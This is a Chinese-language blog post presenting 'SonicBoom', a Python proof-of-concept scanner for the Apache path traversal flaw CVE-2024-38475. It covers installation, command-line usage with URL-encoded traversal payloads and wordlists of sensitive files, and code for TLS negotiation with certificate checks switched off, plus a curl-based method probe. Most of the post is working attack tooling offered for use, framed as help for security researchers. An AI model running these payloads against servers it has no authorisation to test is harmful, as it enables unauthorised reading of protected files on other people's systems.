SonicBoom Apache URL 路径遍历漏洞检测工具

3 阅读3分钟

SonicBoom - CVE-2024-38475 Apache URL 路径遍历漏洞检测工具

Security转存失败,建议直接上传图片文件 Python转存失败,建议直接上传图片文件 CVE转存失败,建议直接上传图片文件

项目概述

SonicBoom 是一个针对 CVE-2024-38475 漏洞的自动化检测工具,该漏洞允许攻击者通过 URL 路径遍历技术访问 Apache 服务器上未经授权的文件。本工具提供完整的检测流程,帮助安全研究人员快速验证漏洞是否存在。

功能特性

  • 🔍 自动 TLS 协商:智能检测目标服务器支持的最高 TLS/SSL 协议版本
  • 📂 目录遍历验证:快速识别 403 保护目录并验证路径遍历可行性
  • 🎯 批量扫描:支持自定义目录和文件字典进行高效扫描
  • 🔧 载荷模糊测试:提供可配置的 URL 编码载荷库,支持自定义扩展
  • 📝 结构化日志:分阶段输出检测结果,便于分析与审计
  • 并发请求:高效的并发机制提升扫描速度

安装指南

系统要求

  • Python: 3.6 或更高版本
  • 操作系统: Linux / macOS / Windows

依赖安装

# 安装 Python 依赖
pip install requests tqdm

从源码安装

# 克隆仓库
git clone https://github.com/abrewer251/CVE-2024-38475_SonicBoom_Apache_URL_Traversal_PoC.git
cd CVE-2024-38475_SonicBoom_Apache_URL_Traversal_PoC

# 赋予执行权限(Linux/macOS)
chmod +x poc.py

使用说明

基本语法

python3 poc.py --schema <http|https> --host <目标地址> --port <端口> \
  --directory-wordlist <目录字典> --file-wordlist <文件字典> --output <输出文件>

命令行参数

参数说明必需默认值
--schema协议类型 (http/https)-
--host目标主机或 IP-
--port目标端口-
--directory-wordlist目录字典文件路径-
--file-wordlist文件字典文件路径-
--output结果输出文件路径-
-p/--payloadsURL 编码载荷列表%3f %3Fany

使用示例

# 基础检测
python3 poc.py \
  --schema https \
  --host 192.168.1.100 \
  --port 8443 \
  --directory-wordlist dirs.txt \
  --file-wordlist files.txt \
  --output results.log

# 使用自定义载荷
python3 poc.py \
  --schema http \
  --host example.com \
  --port 80 \
  --directory-wordlist common_dirs.txt \
  --file-wordlist sensitive_files.txt \
  --payloads "%2e%2e/" "%2e%2e%5C" "%252e%252e%252f" \
  --output findings.txt

输出说明

检测过程输出以下状态标记:

  • [1/6] Negotiating TLS... - TLS 版本协商阶段
  • [TRAVERSAL OK] - 通用路径遍历验证成功
  • [403] - 发现受保护的目录
  • [TRAVERSAL OK] <目录> - 特定目录存在遍历漏洞
  • [200] - 发现实际可访问的敏感文件

核心代码

TLS 协议协商模块

# 检测最高支持的 TLS/SSL 版本
def detect_protocol(host, port, timeout=3):
    candidates = [
        ("TLSv1.3", ssl.PROTOCOL_TLS_CLIENT, 0),
        ("TLSv1.2", ssl.PROTOCOL_TLSv1_2, 0),
        ("TLSv1.1", ssl.PROTOCOL_TLSv1_1, 0),
        ("TLSv1.0", ssl.PROTOCOL_TLSv1,   0),
        ("SSLv23+", ssl.PROTOCOL_SSLv23, ssl.OP_NO_TLSv1_2 | ssl.OP_NO_TLSv1_1 | ssl.OP_NO_TLSv1),
    ]
    for name, proto, disable_opts in candidates:
        ctx = ssl.SSLContext(proto)
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        if disable_opts:
            ctx.options |= disable_opts
        try:
            with socket.create_connection((host, port), timeout=timeout) as sock:
                with ctx.wrap_socket(sock, server_hostname=host):
                    pass
            return proto, disable_opts, name
        except Exception:
            continue
    raise RuntimeError(f"No supported SSL/TLS versions found for {host}:{port}")

自定义 TLS HTTP 适配器

# 强制使用指定 SSL 上下文的 HTTP 适配器
class FixedTLSAdapter(HTTPAdapter):
    def __init__(self, ssl_proto, disable_opts, **kwargs):
        self.ssl_proto = ssl_proto
        self.disable_opts = disable_opts
        super().__init__(**kwargs)

    def init_poolmanager(self, connections, maxsize, block=False, **pool_kwargs):
        ctx = ssl.SSLContext(self.ssl_proto)
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        if self.disable_opts:
            ctx.options |= self.disable_opts
        pool_kwargs['ssl_context'] = ctx
        return super().init_poolmanager(connections, maxsize, block, **pool_kwargs)

HTTP 方法探测模块

def probe_method(url, method, timeout):
    """返回 HTTP 状态码,错误时返回 None"""
    cmd = [
        "curl", "-s", "-o", "/dev/null",
        "-w", "%{http_code}",
        "-X", method,
        "--connect-timeout", str(timeout),
        "--max-time",       str(timeout),
        url
    ]
    try:
        proc = subprocess.run(
            cmd,
            stdout=subprocess.PIPE,
            stderr=subprocess.DEVNULL,
            text=True,
            timeout=timeout+0.5
        )
        return int(proc.stdout.strip())
    except Exception:
        return None

6HFtX5dABrKlqXeO5PUv/+nIrQdmLRuFRCSJbPJx/24q0Kw+U/hPFnHnCAW3T8S+crXr6Wn21atimqb7cRbxGUKUWuJSEhpSC9e0XbHtmC0=